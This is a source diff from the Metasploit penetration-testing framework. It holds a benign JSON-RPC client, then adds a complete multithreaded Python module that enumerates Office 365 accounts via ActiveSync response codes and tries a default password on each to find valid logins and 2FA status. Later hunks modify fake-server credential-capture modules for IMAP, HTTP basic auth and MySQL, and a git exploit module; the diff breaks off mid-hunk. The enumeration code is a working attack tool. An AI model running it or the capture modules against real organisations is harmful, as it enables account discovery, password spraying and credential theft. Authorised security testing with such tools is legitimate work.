JSON_MEDIA_TYPE = 'application/json'
|
||||
JSON_RPC_VERSION = '2.0'
|
||||
JSON_RPC_RESPONSE_REQUIRED_MEMBERS = %i(jsonrpc id)
|
||||
JSON_RPC_RESPONSE_MEMBER_TYPES = {
|
||||
# A String specifying the version of the JSON-RPC protocol.
|
||||
jsonrpc: [String],
|
||||
# An identifier established by the Client that MUST contain a String,
|
||||
# Number, or NULL value if included. If it is not included it is assumed
|
||||
# to be a notification. The value SHOULD normally not be Null [1] and
|
||||
# Numbers SHOULD NOT contain fractional parts [2]
|
||||
id: [Integer, String, NilClass],
|
||||
}
|
||||
JSON_RPC_ERROR_RESPONSE_REQUIRED_MEMBERS = %i(code message)
|
||||
JSON_RPC_ERROR_RESPONSE_MEMBER_TYPES = {
|
||||
# A Number that indicates the error type that occurred.
|
||||
# This MUST be an integer.
|
||||
code: [Integer],
|
||||
# A String providing a short description of the error.
|
||||
# The message SHOULD be limited to a concise single sentence.
|
||||
message: [String]
|
||||
}
|
||||
|
||||
# Instantiate a Request.
|
||||
# @param uri [URI::HTTP] the JSON-RPC service URI
|
||||
# @param api_token [String] the API token. Default: nil
|
||||
# @param method [String] the JSON-RPC method name.
|
||||
# @param params [Array, Hash] the JSON-RPC method parameters. Default: nil
|
||||
# @param namespace [String] the namespace for the JSON-RPC method. The namespace will
|
||||
# be prepended to the method name with a period separator. Default: nil
|
||||
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
|
||||
# processing JSON objects; otherwise, strings are used. Default: true
|
||||
# @param is_notification [Boolean] If true, the request is created as a notification;
|
||||
# otherwise, a standard request. Default: false
|
||||
# @param private_key_file [String] the SSL private key file used for the HTTPS request. Default: nil
|
||||
# @param cert_chain_file [String] the SSL cert chain file used for the HTTPS request. Default: nil
|
||||
# @param verify_peer [Boolean] indicates whether a server should request a certificate
|
||||
# from a peer, to be verified by user code. Default: nil
|
||||
def initialize(uri, api_token: nil, method:, params: nil, namespace: nil,
|
||||
symbolize_names: true, is_notification: false,
|
||||
private_key_file: nil, cert_chain_file: nil, verify_peer: nil)
|
||||
@uri = uri
|
||||
@api_token = api_token
|
||||
@namespace = namespace
|
||||
@symbolize_names = symbolize_names
|
||||
@is_notification = is_notification
|
||||
@headers = {
|
||||
'Accept': JSON_MEDIA_TYPE,
|
||||
'Content-Type': JSON_MEDIA_TYPE,
|
||||
'Authorization': "Bearer #{@api_token}"
|
||||
}
|
||||
|
||||
absolute_method_name = @namespace.nil? ? method : "#{@namespace}.#{method}"
|
||||
request_msg = {
|
||||
jsonrpc: JSON_RPC_VERSION,
|
||||
method: absolute_method_name
|
||||
}
|
||||
request_msg[:id] = Request.generate_id unless is_notification
|
||||
request_msg[:params] = params unless params.nil?
|
||||
|
||||
@request_options = {
|
||||
head: @headers,
|
||||
body: request_msg.to_json
|
||||
}
|
||||
|
||||
# add SSL options if specified
|
||||
if !private_key_file.nil? || !cert_chain_file.nil? || verify_peer.is_a?(TrueClass) ||
|
||||
verify_peer.is_a?(FalseClass)
|
||||
ssl_options = {}
|
||||
ssl_options[:private_key_file] = private_key_file unless private_key_file.nil?
|
||||
ssl_options[:cert_chain_file] = cert_chain_file unless cert_chain_file.nil?
|
||||
ssl_options[:verify_peer] = verify_peer if verify_peer.is_a?(TrueClass) || verify_peer.is_a?(FalseClass)
|
||||
@request_options[:ssl] = ssl_options
|
||||
end
|
||||
end
|
||||
|
||||
# Sends the JSON-RPC request using an EM::HttpRequest object, then validates and processes
|
||||
# the JSON-RPC response.
|
||||
def send
|
||||
http = EM::HttpRequest.new(@uri).post(@request_options)
|
||||
|
||||
http.callback do
|
||||
process(http.response)
|
||||
end
|
||||
|
||||
http.errback do
|
||||
fail(http.error)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Process the JSON-RPC response.
|
||||
# @param source [String] the JSON-RPC response
|
||||
def process(source)
|
||||
begin
|
||||
response = JSON.parse(source, symbolize_names: @symbolize_names)
|
||||
if response.is_a?(Array)
|
||||
# process batch response
|
||||
# TODO: implement batch response processing
|
||||
fail("#{self.class.name}##{__method__} is not implemented for batch response")
|
||||
else
|
||||
process_response(response)
|
||||
end
|
||||
rescue JSON::ParserError
|
||||
fail(JSONParseError.new(response: source))
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Validate and process the JSON-RPC response.
|
||||
# @param response [Hash] the JSON-RPC response
|
||||
def process_response(response)
|
||||
if !valid_rpc_response?(response)
|
||||
fail(InvalidResponse.new(response: response))
|
||||
return
|
||||
end
|
||||
|
||||
error_key = @symbolize_names ? :error : :error.to_s
|
||||
if response.key?(error_key)
|
||||
# process error response
|
||||
fail(ErrorResponse.parse(response, symbolize_names: @symbolize_names))
|
||||
else
|
||||
# process successful response
|
||||
succeed(Response.parse(response, symbolize_names: @symbolize_names))
|
||||
end
|
||||
end
|
||||
|
||||
# Validate the JSON-RPC response.
|
||||
# @param response [Hash] the JSON-RPC response
|
||||
# @returns [Boolean] true if the JSON-RPC response is valid; otherwise, false.
|
||||
def valid_rpc_response?(response)
|
||||
# validate response is an object
|
||||
return false unless response.is_a?(Hash)
|
||||
|
||||
JSON_RPC_RESPONSE_REQUIRED_MEMBERS.each do |member|
|
||||
tmp_member = @symbolize_names ? member : member.to_s
|
||||
return false unless response.key?(tmp_member)
|
||||
end
|
||||
|
||||
# validate response members are correct types
|
||||
response.each do |member, value|
|
||||
tmp_member = @symbolize_names ? member : member.to_sym
|
||||
return false if JSON_RPC_RESPONSE_MEMBER_TYPES.key?(tmp_member) &&
|
||||
!JSON_RPC_RESPONSE_MEMBER_TYPES[tmp_member].one? { |type| value.is_a?(type) }
|
||||
end
|
||||
|
||||
return false if response[:jsonrpc] != JSON_RPC_VERSION
|
||||
|
||||
result_key = @symbolize_names ? :result : :result.to_s
|
||||
error_key = @symbolize_names ? :error : :error.to_s
|
||||
|
||||
return false if response.key?(result_key) && response.key?(error_key)
|
||||
|
||||
if response.key?(error_key)
|
||||
error_response = response[error_key]
|
||||
# validate error response is an object
|
||||
return false unless error_response.is_a?(Hash)
|
||||
|
||||
JSON_RPC_ERROR_RESPONSE_REQUIRED_MEMBERS.each do |member|
|
||||
tmp_member = @symbolize_names ? member : member.to_s
|
||||
return false unless error_response.key?(tmp_member)
|
||||
end
|
||||
|
||||
# validate error response members are correct types
|
||||
error_response.each do |member, value|
|
||||
tmp_member = @symbolize_names ? member : member.to_sym
|
||||
return false if JSON_RPC_ERROR_RESPONSE_MEMBER_TYPES.key?(tmp_member) &&
|
||||
!JSON_RPC_ERROR_RESPONSE_MEMBER_TYPES[tmp_member].one? { |type| value.is_a?(type) }
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Generates a random id.
|
||||
# @param n [Integer] Upper boundary for the random id.
|
||||
# @return [Integer] A random id. If a positive integer is given for n,
|
||||
# returns an integer: 0 <= id < n.
|
||||
def self.generate_id(n = (2**(0.size * 8 - 1))-1)
|
||||
SecureRandom.random_number(n)
|
||||
end
|
||||
end
|
||||
|
||||
# Represents a JSON-RPC Notification. This is an EM::Deferrable class and
|
||||
# instances respond to #callback and #errback to store callback actions.
|
||||
class Notification < Request
|
||||
# Instantiate a Notification.
|
||||
# @param uri [URI::HTTP] the JSON-RPC service URI
|
||||
# @param api_token [String] the API token. Default: nil
|
||||
# @param method [String] the JSON-RPC method name.
|
||||
# @param params [Array, Hash] the JSON-RPC method parameters. Default: nil
|
||||
# @param namespace [String] the namespace for the JSON-RPC method. The namespace will
|
||||
# be prepended to the method name with a period separator. Default: nil
|
||||
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
|
||||
# processing JSON objects; otherwise, strings are used. Default: true
|
||||
# @param private_key_file [String] the SSL private key file used for the HTTPS request. Default: nil
|
||||
# @param cert_chain_file [String] the SSL cert chain file used for the HTTPS request. Default: nil
|
||||
# @param verify_peer [Boolean] indicates whether a server should request a certificate
|
||||
# from a peer, to be verified by user code. Default: nil
|
||||
def initialize(uri, api_token: nil, method:, params: nil, namespace: nil,
|
||||
symbolize_names: true, private_key_file: nil,
|
||||
cert_chain_file: nil, verify_peer: nil)
|
||||
super(uri,
|
||||
api_token: api_token,
|
||||
method: method,
|
||||
params: params,
|
||||
namespace: namespace,
|
||||
symbolize_names: symbolize_names,
|
||||
is_notification: true,
|
||||
private_key_file: private_key_file,
|
||||
cert_chain_file: cert_chain_file,
|
||||
verify_peer: verify_peer)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,37 @@
|
|||
module Msf::RPC::JSON
|
||||
|
||||
# Represents a JSON-RPC response.
|
||||
class Response
|
||||
attr_reader :response
|
||||
attr_reader :id
|
||||
attr_reader :result
|
||||
|
||||
# Parse response and return a new Response instance.
|
||||
# @param response [Hash] A response hash.
|
||||
# @param symbolize_names [Boolean] If true, symbols are used for the names (keys) when
|
||||
# processing JSON objects; otherwise, strings are used. Default: true
|
||||
# @returns [Response] Response object that represents the response hash.
|
||||
def self.parse(response, symbolize_names: true)
|
||||
id_key = symbolize_names ? :id : :id.to_s
|
||||
result_key = symbolize_names ? :result : :result.to_s
|
||||
|
||||
id = response[id_key]
|
||||
result = response[result_key]
|
||||
|
||||
Response.new(id: id, result: result, response: response)
|
||||
end
|
||||
|
||||
# Instantiate a Response object.
|
||||
#
|
||||
# @param id [Integer, String, NilClass] It MUST be the same as the value of the
|
||||
# id member in the Request Object. If there was an error in detecting the id
|
||||
# in the Request object (e.g. Parse error/Invalid Request), it MUST be Null.
|
||||
# @param result [Integer, String, Array, Hash, NilClass] Result of the method.
|
||||
# @param response [Hash] A response hash. The default value is nil.
|
||||
def initialize(id:, result:, response: nil)
|
||||
@id = id
|
||||
@result = result
|
||||
@response = response
|
||||
end
|
||||
end
|
||||
end
|
|
@ -105,6 +105,8 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'sinatra'
|
||||
spec.add_runtime_dependency 'sysrandom'
|
||||
spec.add_runtime_dependency 'warden'
|
||||
# Required for JSON-RPC client
|
||||
spec.add_runtime_dependency 'em-http-request'
|
||||
# TimeZone info
|
||||
spec.add_runtime_dependency 'tzinfo-data'
|
||||
# Gem for dealing with SSHKeys
|
||||
|
|
|
@ -0,0 +1,453 @@
|
|||
#! /usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import print_function
|
||||
|
||||
'''
|
||||
. .1111... | Title: office365userenum.py
|
||||
.10000000000011. .. | Author: Oliver Morton (Sec-1 Ltd)
|
||||
.00 000... | Email: oliverm@sec-1.com
|
||||
1 01.. | Description:
|
||||
.. | Enumerate valid usernames from Office 365 using
|
||||
.. | ActiveSync.
|
||||
GrimHacker .. | Requires: Python 2.7 or 3.6, python-requests
|
||||
.. |
|
||||
grimhacker.com .. |
|
||||
@grimhacker .. |
|
||||
----------------------------------------------------------------------------
|
||||
office365userenum - Office 365 Username Enumerator
|
||||
Copyright (C) 2015 Oliver Morton (Sec-1 Ltd)
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
'''
|
||||
|
||||
__version__ = "$Revision: 3.0$"
|
||||
# $Source$
|
||||
|
||||
import argparse
|
||||
import threading
|
||||
import logging
|
||||
import sys
|
||||
|
||||
if sys.version_info <= (3, 0):
|
||||
import Queue as queue
|
||||
else:
|
||||
import queue
|
||||
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
except ImportError as e:
|
||||
print("Missing Dependency! python-requests required!")
|
||||
dependencies_missing = True
|
||||
|
||||
|
||||
VALID_USER = "VALID_USER"
|
||||
INVALID_USER = "INVALID_USER"
|
||||
VALID_PASSWD_2FA = "VALID_PASSWD_2FA"
|
||||
VALID_LOGIN = "VALID_LOGIN"
|
||||
UNKNOWN = "UNKNOWN"
|
||||
DIE = "!!!AVADA KEDAVRA!!!"
|
||||
SHUTDOWN_EVENT = threading.Event()
|
||||
|
||||
default_password = "Password1"
|
||||
default_url = "https://outlook.office365.com/Microsoft-Server-ActiveSync"
|
||||
default_max_threads = 10
|
||||
default_timeout = 30
|
||||
|
||||
MSF = False
|
||||
try:
|
||||
from metasploit import module
|
||||
MSF = True
|
||||
|
||||
metadata = {
|
||||
'name': 'Office 365 User Enumeration',
|
||||
'description': '''
|
||||
Enumerate valid usernames (email addresses) from Office 365 using ActiveSync.
|
||||
Differences in the HTTP Response code and HTTP Headers can be used to differentiate between:
|
||||
- Valid Username (Response code 401)
|
||||
- Valid Username and Password without 2FA (Response Code 200)
|
||||
- Valid Username and Password with 2FA (Response Code 403)
|
||||
- Invalid Username (Response code 404 with Header X-CasErrorCode: UserNotFound)
|
||||
Note this behaviour appears to be limited to Office365, MS Exchange does not appear to be affected.
|
||||
Microsoft Security Response Center stated on 2017-06-28 that this issue does not "meet the bar for security
|
||||
servicing". As such it is not expected to be fixed any time soon.
|
||||
''',
|
||||
'authors': [
|
||||
'Oliver Morton (GrimHacker) <grimhacker@grimhacker.com>'
|
||||
],
|
||||
'date': '2018-09-05',
|
||||
'license': 'GPL_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/'},
|
||||
],
|
||||
'type': 'single_scanner',
|
||||
'options': {
|
||||
'USERS': {
|
||||
'type': 'string',
|
||||
'description': 'Potential usernames file, one username per line',
|
||||
'required': True,
|
||||
'default': None
|
||||
},
|
||||
'OUTPUT': {
|
||||
'type': 'string',
|
||||
'description': 'Output file (will be appended to)',
|
||||
'required': False,
|
||||
'default': None
|
||||
},
|
||||
'PASSWORD': {
|
||||
'type': 'string',
|
||||
'description': 'Password to use during enumeration.',
|
||||
'required': True,
|
||||
'default': default_password
|
||||
},
|
||||
# TODO: MSF is adding RHOSTS automatically as a required option,
|
||||
# if i rename URL to RHOSTS or RHOST the module breaks...
|
||||
'URL': {
|
||||
'type': 'string',
|
||||
'description': 'ActiveSync URL',
|
||||
'required': True,
|
||||
'default': default_url
|
||||
},
|
||||
'THREADS': {
|
||||
'type': 'int',
|
||||
'description': 'Maximum threads',
|
||||
'required': True,
|
||||
'default': default_max_threads
|
||||
},
|
||||
'TIMEOUT': {
|
||||
'type': 'int',
|
||||
'description': 'HTTP Timeout',
|
||||
'required': True,
|
||||
'default': default_timeout
|
||||
},
|
||||
'VERBOSE': {
|
||||
'type': 'bool',
|
||||
'description': 'Debug logging',
|
||||
'required': True,
|
||||
'default': False
|
||||
},
|
||||
'LOGFILE': {
|
||||
'type': 'string',
|
||||
'description': 'Log file',
|
||||
'required': False,
|
||||
'default': None
|
||||
},
|
||||
# TODO: RPORT needs to exist or reporting the valid/invalid creds causes an error...
|
||||
'RPORT': {
|
||||
'type': 'int',
|
||||
'description': 'IGNORE ME!',
|
||||
'required': False,
|
||||
'default': 443
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
except ImportError as e:
|
||||
# Not running under metasploit
|
||||
pass
|
||||
|
||||
|
||||
def check_user(url, user, password, timeout):
|
||||
"""Exploit the difference in HTTP responses from the ActiveSync service to identify valid and invalid usernames.
|
||||
It was also identified that valid accounts with 2FA enabled can be distinguished from valid accounts without 2FA."""
|
||||
headers = {"MS-ASProtocolVersion": "14.0"}
|
||||
auth = (user, password)
|
||||
try:
|
||||
r = requests.options(url, headers=headers, auth=auth, timeout=timeout)
|
||||
except Exception as e:
|
||||
msg = "error checking {} : {}".format(user, e)
|
||||
if MSF:
|
||||
module.log(msg, "error")
|
||||
else:
|
||||
logging.error(msg)
|
||||
return user, UNKNOWN, None
|
||||
status = r.status_code
|
||||
if status == 401:
|
||||
return user, password, VALID_USER, r
|
||||
elif status == 404:
|
||||
if r.headers.get("X-CasErrorCode") == "UserNotFound":
|
||||
return user, password, INVALID_USER, r
|
||||
elif status == 403:
|
||||
return user, VALID_PASSWD_2FA, r
|
||||
elif status == 200:
|
||||
return user, password, VALID_LOGIN, r
|
||||
return user, password, UNKNOWN, r
|
||||
|
||||
|
||||
def check_users(in_q, out_q, url, password, timeout):
|
||||
"""Thread worker function which retrieves candidate username from input queue runs the check_user function and
|
||||
outputs the result to the output queue."""
|
||||
while not SHUTDOWN_EVENT.is_set():
|
||||
try:
|
||||
user = in_q.get()
|
||||
except queue.Empty as e:
|
||||
msg = "check_users: in_q empty"
|
||||
if MSF:
|
||||
module.log(msg, "debug")
|
||||
else:
|
||||
logging.debug(msg)
|
||||
continue
|
||||
if user == DIE:
|
||||
in_q.task_done()
|
||||
msg = "check_users thread dying"
|
||||
if MSF:
|
||||
module.log(msg, "debug")
|
||||
else:
|
||||
logging.debug(msg)
|
||||
break
|
||||
else:
|
||||
msg = "checking: {}".format(user)
|
||||
if MSF:
|
||||
module.log(msg, "debug")
|
||||
else:
|
||||
logging.debug(msg)
|
||||
try:
|
||||
result = check_user(url, user, password, timeout)
|
||||
except Exception as e:
|
||||
msg = "Error checking {} : {}".format(user, e)
|
||||
if MSF:
|
||||
module.log(msg, "error")
|
||||
else:
|
||||
logging.error(msg)
|
||||
in_q.task_done()
|
||||
continue
|
||||
msg = "{}".format(result)
|
||||
if MSF:
|
||||
module.log(msg, "debug")
|
||||
else:
|
||||
logging.debug(msg)
|
||||
out_q.put(result)
|
||||
in_q.task_done()
|
||||
|
||||
|
||||
def get_users(user_file, in_q, max_threads):
|
||||
"""Thread worker function. Load candidate usernames from file into input queue."""
|
||||
with open(user_file, "r") as f:
|
||||
for line in f:
|
||||
if SHUTDOWN_EVENT.is_set():
|
||||
break
|
||||
user = line.strip()
|
||||
msg = "user = {}".format(user)
|
||||
if MSF:
|
||||
module.log(msg, "debug")
|
||||
else:
|
||||
logging.debug(msg)
|
||||
in_q.put(user)
|
||||
for _ in range(max_threads):
|
||||
in_q.put(DIE)
|
||||
|
||||
|
||||
def report(out_q, output_file):
|
||||
"""Thread worker function. Output to terminal and file."""
|
||||
msf_template = "{code} {valid} {user}:{password}"
|
||||
template = "[{s}] {code} {valid} {user}:{password}"
|
||||
symbols = {
|
||||
VALID_USER: "+",
|
||||
INVALID_USER: "-",
|
||||
VALID_PASSWD_2FA: "#",
|
||||
VALID_LOGIN: "!",
|
||||
UNKNOWN: "?"
|
||||
}
|
||||
|
||||
while not SHUTDOWN_EVENT.is_set():
|
||||
try:
|
||||
result = out_q.get()
|
||||
except queue.Empty as e:
|
||||
msg = "report: out_q empty"
|
||||
if MSF:
|
||||
module.log(msg, "debug")
|
||||
else:
|
||||
logging.debug(msg)
|
||||
continue
|
||||
if result == DIE:
|
||||
out_q.task_done()
|
||||
msg = "report thread dying."
|
||||
if MSF:
|
||||
module.log(msg, "debug")
|
||||
else:
|
||||
logging.debug(msg)
|
||||
break
|
||||
else:
|
||||
user, password, valid, r = result
|
||||
if r is None:
|
||||
code = "???"
|
||||
else:
|
||||
code = r.status_code
|
||||
s = symbols.get(valid)
|
||||
output = template.format(s=s, code=code, valid=valid, user=user, password=password)
|
||||
if MSF:
|
||||
msf_output = msf_template.format(code=code, valid=valid, user=user, password=password)
|
||||
msf_reporters = {
|
||||
VALID_USER: module.report_wrong_password,
|
||||
VALID_PASSWD_2FA: module.report_correct_password,
|
||||
VALID_LOGIN: module.report_correct_password
|
||||
}
|
||||
module.log(msf_output, "debug")
|
||||
msf_reporter = msf_reporters.get(valid)
|
||||
if msf_reporter is not None:
|
||||
msf_reporter(user, password)
|
||||
if valid in [VALID_LOGIN, VALID_PASSWD_2FA, VALID_USER]:
|
||||
module.log(msf_output, "good")
|
||||
else:
|
||||
module.log(msf_output, "error")
|
||||
else:
|
||||
logging.info(output)
|
||||
if output_file:
|
||||
with open(output_file, "a", 1) as f:
|
||||
f.write("{}\n".format(output))
|
||||
out_q.task_done()
|
||||
|
||||
|
||||
def run(args):
|
||||
"""Metasploit callback.
|
||||
Convert args to lowercase for internal compatibility."""
|
||||
if dependencies_missing:
|
||||
module.log("Module dependency (requests) is missing, cannot continue")
|
||||
return
|
||||
args['TIMEOUT'] = float(args['TIMEOUT'])
|
||||
args['THREADS'] = int(args['THREADS'])
|
||||
lower_args = {}
|
||||
for arg in args:
|
||||
lower_args[arg.lower()] = args[arg]
|
||||
main(lower_args)
|
||||
|
||||
|
||||
def get_banner():
|
||||
"""Return version banner."""
|
||||
return """
|
||||
|
||||
. .1111... | Title: office365userenum.py
|
||||
.10000000000011. .. | Author: Oliver Morton (Sec-1 Ltd)
|
||||
.00 000... | Email: oliverm@sec-1.com
|
||||
1 01.. | Description:
|
||||
.. | Enumerate valid usernames from Office 365 using
|
||||
.. | ActiveSync.
|
||||
GrimHacker .. | Requires: Python 2.7 or 3.6, python-requests
|
||||
.. |
|
||||
grimhacker.com .. |
|
||||
@grimhacker .. |
|
||||
----------------------------------------------------------------------------
|
||||
This program comes with ABSOLUTELY NO WARRANTY.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions. See GPLv2 License.
|
||||
----------------------------------------------------------------------------
|
||||
""".format(__version__)
|
||||
|
||||
|
||||
def setup_logging(verbose=True, log_file=None):
|
||||
"""Configure logging."""
|
||||
if log_file is not None:
|
||||
logging.basicConfig(level=logging.DEBUG,
|
||||
format="%(asctime)s: %(levelname)s: %(module)s: %(message)s",
|
||||
filename=log_file,
|
||||
filemode='w')
|
||||
console_handler = logging.StreamHandler()
|
||||
formatter = logging.Formatter("%(levelname)s: %(module)s: %(message)s")
|
||||
console_handler.setFormatter(formatter)
|
||||
if verbose:
|
||||
console_handler.setLevel(logging.DEBUG)
|
||||
else:
|
||||
console_handler.setLevel(logging.INFO)
|
||||
logging.getLogger().addHandler(console_handler)
|
||||
else:
|
||||
if verbose:
|
||||
level = logging.DEBUG
|
||||
else:
|
||||
level = logging.INFO
|
||||
logging.basicConfig(level=level,
|
||||
format="%(levelname)s: %(module)s: %(message)s")
|
||||
|
||||
|
||||
def main(args):
|
||||
"""Setup worker threads and handle shutdown."""
|
||||
user_file = args['users']
|
||||
output_file = args['output']
|
||||
url = args['url']
|
||||
password = args['password']
|
||||
max_threads = args['threads']
|
||||
timeout = args['timeout']
|
||||
|
||||
threads = []
|
||||
meta_threads = []
|
||||
max_size = max_threads / 2
|
||||
if max_size < 1:
|
||||
max_size = 1
|
||||
in_q = queue.Queue(maxsize=max_size)
|
||||
out_q = queue.Queue(maxsize=max_size)
|
||||
|
||||
try:
|
||||
report_thread = threading.Thread(name="Thread-report", target=report, args=(out_q, output_file))
|
||||
report_thread.start()
|
||||
meta_threads.append(report_thread)
|
||||
|
||||
file_thread = threading.Thread(name="Thread-inputfile", target=get_users, args=(user_file, in_q, max_threads))
|
||||
file_thread.start()
|
||||
meta_threads.append(file_thread)
|
||||
|
||||
for num in range(max_threads):
|
||||
t = threading.Thread(name="Thread-worker{}".format(num), target=check_users,
|
||||
args=(in_q, out_q, url, password, timeout))
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
for thread in threads:
|
||||
while thread.is_alive():
|
||||
thread.join(timeout=0.1)
|
||||
out_q.put(DIE)
|
||||
for thread in meta_threads:
|
||||
while thread.is_alive():
|
||||
thread.join(timeout=0.1)
|
||||
|
||||
except KeyboardInterrupt as e:
|
||||
msg = "Received KeyboardInterrupt - shutting down"
|
||||
if MSF:
|
||||
module.log(msg, "critical")
|
||||
else:
|
||||
logging.critical(msg)
|
||||
SHUTDOWN_EVENT.set()
|
||||
|
||||
for thread in threads:
|
||||
while thread.is_alive():
|
||||
thread.join(timeout=0.1)
|
||||
out_q.put(DIE)
|
||||
for thread in meta_threads:
|
||||
while thread.is_alive():
|
||||
thread.join(timeout=0.1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if MSF:
|
||||
module.log(get_banner(), "info")
|
||||
module.run(metadata, run)
|
||||
else:
|
||||
print(get_banner())
|
||||
parser = argparse.ArgumentParser(description="Enumerate Usernames (email addresses) from Office365 ActiveSync")
|
||||
parser.add_argument("-u", "--users", help="Potential usernames file, one username per line", required=True)
|
||||
parser.add_argument("-o", "--output", help="Output file (will be appended to)", required=True)
|
||||
parser.add_argument("--password", default=default_password,
|
||||
help="Password to use during enumeration. Default: {}".format(default_password))
|
||||
parser.add_argument("--url", help="ActiveSync URL. Default: {}".format(default_url), default=default_url)
|
||||
parser.add_argument("--threads", help="Maximum threads. Default: {}".format(default_max_threads),
|
||||
default=default_max_threads, type=int)
|
||||
parser.add_argument("--timeout", help="HTTP Timeout. Default: {}".format(default_timeout),
|
||||
default=default_timeout, type=float)
|
||||
parser.add_argument("-v", "--verbose", help="Debug logging", action="store_true")
|
||||
parser.add_argument("--logfile", help="Log File", default=None)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
setup_logging(args.verbose, args.logfile)
|
||||
|
||||
main(vars(args))
|
|
@ -85,13 +85,13 @@ class MetasploitModule < Msf::Auxiliary
|
|||
bogus_result = @scanner.attempt_bogus_login(domain)
|
||||
if bogus_result.success?
|
||||
if bogus_result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST
|
||||
print_status("This system allows guest sessions with any credentials")
|
||||
print_status("This system allows guest sessions with random credentials")
|
||||
else
|
||||
print_error("This system accepts authentication with any credentials, brute force is ineffective.")
|
||||
print_error("This system accepts authentication with random credentials, brute force is ineffective.")
|
||||
return
|
||||
end
|
||||
else
|
||||
vprint_status('This system does not accept authentication with any credentials, proceeding with brute force')
|
||||
vprint_status('This system does not accept authentication with random credentials, proceeding with brute force')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -94,7 +94,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
proof: req['Authorization']
|
||||
)
|
||||
|
||||
print_good("#{cli.peerhost} - Credential collected: \"#{user}:#{pass}\" => #{req.resource}")
|
||||
print_good("HTTP Basic Auth LOGIN #{cli.peerhost} \"#{user}:#{pass}\" / #{req.resource}")
|
||||
if datastore['RedirectURL']
|
||||
print_status("Redirecting client #{cli.peerhost} to #{datastore['RedirectURL']}")
|
||||
send_redirect(cli, datastore['RedirectURL'])
|
||||
|
|
|
@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ])
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ]),
|
||||
OptString.new('BANNER', [ true, "The server banner", 'IMAP4'])
|
||||
])
|
||||
end
|
||||
|
||||
|
@ -44,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def on_client_connect(c)
|
||||
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
|
||||
c.put "* OK IMAP4\r\n"
|
||||
c.put "* OK #{datastore['BANNER']}\r\n"
|
||||
end
|
||||
|
||||
def on_client_data(c)
|
||||
|
@ -76,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
|
||||
|
||||
register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
|
||||
print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
||||
print_good("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -58,7 +58,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def mysql_send_greeting(c)
|
||||
# http://forge.mysql.com/wiki/MySQL_Internals_ClientServer_Protocol#Handshake_Initialization_Packet
|
||||
# https://dev.mysql.com/doc/internals/en/connection-phase-packets.html
|
||||
|
||||
length = 68 + @version.length
|
||||
packetno = 0
|
||||
|
@ -138,7 +138,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
private_type: :nonreplayable_hash
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
|
@ -172,7 +172,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
port: datastore['SRVPORT'],
|
||||
service_name: 'mysql_client',
|
||||
user: info[:username],
|
||||
pass: hash_line,
|
||||
password: hash_line,
|
||||
proof: info[:database] ? info[:database] : hash_line
|
||||
)
|
||||
|
||||
|
|
|
@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Git
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -181,23 +182,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
git_dir = '.' + variants.sample
|
||||
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
|
||||
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
|
||||
# build the supposed commit that dropped this file, which has a random user/company
|
||||
email = Rex::Text.rand_mail_address
|
||||
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
|
||||
full_name = "#{first.capitalize} #{last.capitalize}"
|
||||
tstamp = Time.now.to_i
|
||||
